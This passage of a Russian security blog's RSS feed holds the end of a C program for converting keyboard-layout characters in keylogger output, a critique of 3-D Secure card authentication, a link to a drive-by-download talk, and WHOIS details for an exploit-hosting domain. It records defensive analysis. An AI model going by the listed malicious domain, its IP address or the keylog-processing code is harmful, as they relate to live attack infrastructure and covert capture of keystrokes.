wil;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ( (ten = strchr(enl, *tb)) != 0 ){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tru = rul + b*(ten-enl);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(tb2,tru,b);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 += b;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else if ( (ten = strchr(enl1, *tb)) != 0 ){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tru = rul1+(ten-enl1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(tb2,tru,1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 += 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else {&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memcpy(tb2,tb,1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tb2 += 1;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(buf2);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf2,0,n*b);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;memset(buf,0,n);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(buf2);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;free(buf);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return 0;&lt;br&gt;}&lt;br&gt;/////////////////////////////////////////////////////////////////////////&lt;br&gt;int checkIfCtrl(char *p){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;int lmax = 10, i, flag=0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;char b='&amp;lt;', e='&amp;gt;';&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(*p == b){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for(i=0; i&amp;lt;lmax; i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (*(p+i) == e){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flag = 1+i;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;return flag;&lt;br&gt;}&lt;br&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Сразу прошу снисхождения к моим навыкам академического программирования. Но, если есть предложения по развитию этой микро-программки (во термин - micro-soft), буду рад их увидеть.&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Компилируем:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ gcc trc.c -o trc&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Результат работы:&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;$ cat test.txt | ./trc&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Гонимы вешними лучами,&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;С окрестых гор уже снега&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Сбежали мутными ручьями&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;На потопленные луга&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;&amp;lt;return&amp;gt; это тест &amp;lt;ctrl&amp;gt; Тест это &amp;lt;lctrl&amp;gt; &amp;lt;alt&amp;gt; Александр Сергеевич Пушкин&amp;lt;lmenu&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align: left; margin-bottom: 0in; margin-top: 0in; margin-right: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Совсем хорошо!&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Кривовато, правда... Более правильным кажется использование штатных С-шных функций для двухбайтовых символов, описанных в wchar.h и wctype.h, но просто и быстро у меня это почему-то не получилось (помню на VC под win пару лет назад получалось), поэтому я эту идею бросил, может, в следующий раз...&lt;/p&gt;        &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;Представленные здесь варианты решили мою задачу, надеюсь, могут быть полезны и вам.&lt;/p&gt;    &lt;p class="preformatted_text" dir="ltr" style="text-align:left;margin-bottom:0.0000in;margin-top:0.0000in;margin-right:0.0000in"&gt;&lt;a name="__DdeLink__2_951401926"&gt;&lt;/a&gt;&lt;a name="__DdeLink__2_951401926"&gt;&lt;/a&gt;&lt;/p&gt;       &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-294486171759511451?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2012/01/keylogrecorder.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-5880271475279410464</guid><pubDate>Tue, 06 Dec 2011 04:01:00 +0000</pubDate><atom:updated>2011-12-06T09:25:58.487+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web</category><title>Verified by Visa</title><description>&lt;span style="font-family:arial;"&gt;Любопытная &lt;/span&gt;&lt;a style="font-family: arial;" href="http://krebsonsecurity.com/2011/12/loopholes-in-verified-by-visa-securecode/?utm_source=krebsonsecurity&amp;amp;utm_medium=twitter&amp;amp;utm_campaign=Feed%3A+KrebsOnSecurity+%28Krebs+on+Security%29"&gt;статья&lt;/a&gt;&lt;span style="font-family:arial;"&gt; и еще более любопытный &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.cl.cam.ac.uk/%7Erja14/Papers/fc10vbvsecurecode.pdf"&gt;документ&lt;/a&gt;&lt;span style="font-family:arial;"&gt;. Названия тянут на бомбу, но по сути изложены очевидные вещи. Речь идет о безопасности протокола аутентификации владельцев карты Visa при выполнении ими online-покупок. В целом, мое мнение, чтобы написать подбные "труды" достаточно самому хотя бы раз выполнить покупку картой виза через Интернет и прочитать &lt;/span&gt;&lt;a style="font-family: arial;" href="http://en.wikipedia.org/wiki/3-D_Secure"&gt;статью &lt;/a&gt;&lt;span style="font-family:arial;"&gt;на Wikipedia. Конечно, я делал и то и другое, поэтому позволю себе тут рассуждения.&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Читать лучше сразу &lt;/span&gt;&lt;a style="font-family: arial;" href="http://www.cl.cam.ac.uk/%7Erja14/Papers/fc10vbvsecurecode.pdf"&gt;PDF&lt;/a&gt;&lt;span style="font-family:arial;"&gt;, так как статья содержит в себе еще меньше пользы, хотя размер их соизмерим :-)&lt;/span&gt; &lt;span style="font-family:arial;"&gt;Полезная нагрузка начинается с главы 2, где повествуется об уязвимостях схемы 3DS.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Самая первая уязвимость, видимо, самая важная - "Confusing the user - hiding security cues" о том, что окно аутентификации при реализации 3DS открывается в iFrame и поэтому не видно домена (а также того, как браузер подсвечивает строку URL с неправильным сертификатом TLS), запросившего аутентификацию. Может, в какой-то мере, это снижает безопасность, но:&lt;br /&gt;1. Ничто не мешает банку аутентифицировать в новом окне браузера, тогда даже и строку URL будет видно со всеми ее подсветками.&lt;br /&gt;2. Легитимность сайта подтверждается его сертификатом. При этом, если сертификат протух, не на тот сайт или выдан неизвестным CA браузер выбрасывает промптер предупржедения в котором подробнейшим образом указана проблема, предлагается посмотреть сертификат собственноручно, и только после добавл&lt;/span&gt;&lt;span style="font-family:arial;"&gt;ения в исключения все-таки показать его контент. Обход столь сложной процедуры возможен только если:&lt;br /&gt;-- "зловредный" CA, выдавший сертификат подложному сайту, каким-то образом "протрастщен" (добавлен в доверенные удостоверяющие центры) на endpoint-е =&amp;gt; мой endpoint компрометирован =&amp;gt; есть масса других способов утащить мои секреты и обмануть меня.&lt;br /&gt;-- секретный ключ CA компрометирован и я об этом не знаю (или никто об этом не знает) и злоумышленники подписывают им сертификаты всем негодяям подряд. На этот риск я не могу сильно вилять =&amp;gt; его не следует рассматривать&lt;br /&gt;&lt;br /&gt;Отдельно следует поговорить про безопасность endpoint-а. Поскольку это элемент платежной системы, безусловно, к нему должны предъявляться требования. Идеально, если банк мог бы проверить их выполнение, но на практике это крайне сложно, поэтому, в обязательном порядке:&lt;br /&gt;- банк должен давать рекомендации для пользователей сервиса "Online Shopping-а"&lt;br /&gt;- желательно наличие каких-либо сервисов от банков, где можно было бы проверить этот compliance (не обязательно online-овых)&lt;br /&gt;- должна быть четко определена ответственность клиента в данном сервисе: клиент должен отвечать только за полное соблюдение требований, но не за весь сервис.&lt;br /&gt;&lt;br /&gt;Да, я тут пишу "банк"... "банк".... Дело в том, что 3DS - это лишь framework, конкретная реализация схемы аутентификации - за банком, поэтому, насколько хороша (надежна, безопасна) схема полностью зависит от банка. Да, есть "глупцы", благодаря которым и появляются все эти наукообразные статьи и "исследования", но есть и вполне себе достойные.&lt;br /&gt;&lt;br /&gt;Уверен, что для наведения порядка в этом 3DS, Visa должна выпустить ряд требований к реализации этого 3DS, как это сделано, например в &lt;a href="https://www.pcisecuritystandards.org/"&gt;PCI DSS&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Но вернемся к статье.&lt;br /&gt;В П 2.2. "Activation during shopping" указана уязвимость слабой аутентификации клиента, указано, что кто-то спрашивает только день рождения. Согласен, что это бред и процедура здесь должна быть аналогична применяемым в системах ДБО. Где-то это какие-то секретные ключи, за которыми надо пешком сходить в банк, где-то это SMS-уведомления с одноразовыми паролями. Если кто-то реализовал глупость, не следует ее сразу обобщать на всех. Также указано, еще более веселая мысль о том, что сайт запрашивает у клиента персональную информацию и это делает его более склонным к социальной инженерии, когда уже фишеры будут запрашивать то же самое: ответил банку, ответит и фишеру. Даже комментировать не буду :-)&lt;br /&gt;&lt;br /&gt;В П 2.3 "Informed consent and password choice" утверждается, что: Пользователь, сконцентрированный на приобретение товара (сценарий activation during shopping (ADS)) будет выбирать слабый пароль. Контроль оцевиден: банк не должен принимать простые пароли и вообще реализовывать политику: сложность, длина, периодическая смена, автоблокировка при неправильных вводах.&lt;br /&gt;&lt;br /&gt;П 2.4 "Liability shifting" посвящен тому, что Банк "по-тихому" взваливает всю ответственность за компрометацию на клиента. Это тоже необходимо разрулить Визе (как я отмечал выше): пользовать может (и должен!) следовать &lt;span style="font-weight: bold;"&gt;только &lt;/span&gt;четко указанным тр&lt;/span&gt;&lt;span style="font-family:arial;"&gt;ебованиям, отвечать за все он не может технически (и не должен!). Снимать ответственность полностью с пользователя - не правильно, так как его endpoint - компонента общей системы и ее компрометаци приводит к компрометации системы.&lt;br /&gt;&lt;br /&gt;В п 2.5 предлагается некоторое усиление механизма аутентификации банка у клиента, думаю сертификата вполне достаточно (см выше). Если хочется реализовывать еще и это - лишним не будет.&lt;br /&gt;&lt;br /&gt;П 2.6 посвящен раличным чудачествам банков относительно того, как они аутентифицируют клиентов при использовании схемы и при смене аутентификационных данных. Что же в семье, как говорится, не без урода. Требовния от Visa к реализациям аутентификации в 3DS должны решить проблему.&lt;br /&gt;&lt;br /&gt;П 2.7 - про Privacy. О этот вечный &lt;a href="http://www.schneier.com/blog/archives/2008/01/security_vs_pri.html"&gt;баланс &lt;/a&gt;между Security и Privacy:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;span style="font-family:arial;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-_C4KlUQUnOw/Tt2hGZvcP-I/AAAAAAAAA04/D0SnlHZiX8c/s1600/security-fence.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 284px;" src="http://1.bp.blogspot.com/-_C4KlUQUnOw/Tt2hGZvcP-I/AAAAAAAAA04/D0SnlHZiX8c/s400/security-fence.jpg" alt="" id="BLOGGER_PHOTO_ID_5682875436172591074" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Нужно помнить следующее:&lt;br /&gt;1. Про аутсорсинг. Если есть объективные причины мои данные передавать аутсорсеру и аутсорсер обязуется охранять мои данные не хуже банка, какой для меня риск? Я на днях ходил в ГИБДД за справкой о ДТП там на входе мои паспортные данные записали в журнальчик... меня больше беспокоит этот журнальчик, кто его читает, как он утилизируется и т.п. Причем такой журнальчик есть практически везде. А мы тут голову ломаем о том что говорить Роскомнадзору и ФСБ, когда ФЗ-152 - нигде не работает.&lt;br /&gt;2. В конечном счете, меня, как субъекта можно аутентифицировать только моими персональными данными. У меня больше ничего нет.&lt;br /&gt;&lt;br /&gt;Сухой остаток:&lt;br /&gt;1. Ждем от Visa требований к реализации протоколов аутентификации.&lt;br /&gt;2. От банков ждем требований по безопасности endpoint-а (кое-где видел, но Visa должна обязать такие требования готовить).&lt;br /&gt;3. То, что аутентификационные механизмы отданы на реализацию банкам - правильно, с Visa только требования и разделение ответственности.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-5880271475279410464?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/12/verified-by-visa.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-_C4KlUQUnOw/Tt2hGZvcP-I/AAAAAAAAA04/D0SnlHZiX8c/s72-c/security-fence.jpg" height="72" width="72" /><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-1925909929150568316</guid><pubDate>Mon, 28 Nov 2011 06:31:00 +0000</pubDate><atom:updated>2011-11-28T10:48:34.364+04:00</atom:updated><title>Эволюция атак Drive-by Download</title><description>&lt;span style="font-family: arial;"&gt;Выкладываю нашу презентацию на &lt;/span&gt;&lt;a style="font-family: arial;" href="http://zeronights.org/"&gt;ZeroNights&lt;/a&gt;&lt;span style="font-family: arial;"&gt;. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Для тех, кто не был непосредственно на конференции, хочется сказать пару слов о презе (пару слов о самой конференции скажу чуть позже, когда эмоции превратятся в мысли :-)).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Все что представлено в презентации является следствием нашего внимательного анализа событий систем обнаружения вторжений, антивируса и HTTP-прокси. Все показанные здесь события были взяты непосредственно из &lt;span style="font-weight: bold;"&gt;наших &lt;/span&gt;логов (которые по долгу службы мы должны смотреть), отражающих посещения Интернет &lt;span style="font-weight: bold;"&gt;наших &lt;/span&gt;пользователей.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Цель данной презентации ни в коем случае не оскорбить кого-либо, а привлечь внимание к &lt;/span&gt;&lt;a style="font-family: arial;" href="http://reply-to-all.blogspot.com/2011/10/web.html"&gt;проблеме &lt;/a&gt;&lt;span style="font-family: arial;"&gt;и, возможно, найти более эффективные меры борьбы, чем мы тут сами пытаемся применять.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Вполне возможно, что у нас какая-то не та карма и в других сетях такие чудеса не наблюдаются, но мы вынуждены мириться, ибо мы защищаем наших пользователей каковы бы не были их интересы и какова бы не была наша карма.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width:425px" id="__ss_10358309"&gt; &lt;strong style="display:block;margin:12px 0 4px"&gt;&lt;a href="http://www.slideshare.net/votadlos/drive-bydownload-attack-evolution-zero-nights-v3" title="Drive-by download attack evolution" target="_blank"&gt;Drive-by download attack evolution&lt;/a&gt;&lt;/strong&gt; &lt;iframe src="http://www.slideshare.net/slideshow/embed_code/10358309" width="425" height="355" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"&gt;&lt;/iframe&gt; &lt;div style="padding:5px 0 12px"&gt; &lt;/div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7672604585980488566-1925909929150568316?l=reply-to-all.blogspot.com' alt='' /&gt;&lt;/div&gt;</description><link>http://reply-to-all.blogspot.com/2011/11/drive-by-download.html</link><author>noreply@blogger.com (Sergey Soldatov)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7672604585980488566.post-6317642018528048498</guid><pubDate>Sat, 12 Nov 2011 16:35:00 +0000</pubDate><atom:updated>2011-11-23T07:05:19.218+04:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Web</category><category domain="http://www.blogger.com/atom/ns#">Malware</category><title>REG.ru нам не поможет :-(</title><description>&lt;span style="font-family: arial;font-family:arial;" &gt;Стали фиксировать некоторые изменения в развитии &lt;a href="http://reply-to-all.blogspot.com/2011/10/web.html"&gt;проблемы&lt;/a&gt;. &lt;/span&gt;&lt;span style="font-family:arial;"&gt;Если раньше эксплоиты и зловреды хостились на индийских доменах (закрыли их весьма просто regExp-ом: "\.in$"), то сейчас - на наших отечественных. Причем здесь наблюдаются еще элементы социальной инженерии - мол, проблемы у вас с IE, давайте мы вам починим....&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-v6WF2XV-u0M/Tr6jWV-dccI/AAAAAAAAA0s/YbswFLkR10A/s1600/regru1.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 271px;" src="http://3.bp.blogspot.com/-v6WF2XV-u0M/Tr6jWV-dccI/AAAAAAAAA0s/YbswFLkR10A/s400/regru1.JPG" alt="" id="BLOGGER_PHOTO_ID_5674152184784974274" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:arial;"&gt;Что же это за домены *ie.ru??&lt;/span&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;a href="http://01ie.ru/" target="_blank"&gt;&lt;img src="https://mail.google.com/mail/?ui=2&amp;amp;ik=8068f3a64a&amp;amp;view=att&amp;amp;th=1339229aa7e576bc&amp;amp;attid=0.0.1&amp;amp;disp=emb&amp;amp;zw" alt="http://www.reg.ru/i/newdomain/globe.png" border="0" height="32" width="32" /&gt;&lt;/a&gt;&lt;span&gt;&lt;span style="font-size:25.0pt;"&gt;&lt;a href="http://01ie.ru/" target="_blank"&gt;01ie.ru&lt;/a&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;strong&gt;&lt;span&gt;IP-адрес:&lt;/span&gt;&lt;/strong&gt; &lt;a href="http://www.reg.ru/whois/?dname=46.4.82.48" target="_blank"&gt;46.4.82.48&lt;/a&gt; &lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b&gt;По данным &lt;a href="http://whois.ripn.net/" target="_blank"&gt;WHOIS.RIPN.NET&lt;/a&gt;:&lt;/b&gt; &lt;/p&gt;  &lt;table border="0" cellpadding="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Домен: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://01ie.ru/" target="_blank"&gt;01IE.RU&lt;/a&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns3.fastvps.ru/" target="_blank"&gt;ns3.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Сервер DNS: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="http://ns4.fastvps.ru/" target="_blank"&gt;ns4.fastvps.ru&lt;/a&gt;. &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Статус: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;зарегистрирован, делегирован, не проверен &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Администратор домена: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;Частное лицо "Private Person" &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;E-mail: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;&lt;a href="mailto:poshli@nahuy.ru" target="_blank"&gt;poshli@nahuy.ru&lt;/a&gt; &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Регистратор: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;REGRU-REG-RIPN &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Дата регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2011.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td style="width:115.45pt;padding:.75pt .75pt .75pt .75pt" width="154"&gt;   &lt;p class="MsoNormal"&gt;Дата окончания регистрации: &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding:.75pt .75pt .75pt .75pt"&gt;   &lt;p class="MsoNormal"&gt;2012.11.01 &lt;span style="font-size:12.0pt;"&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td 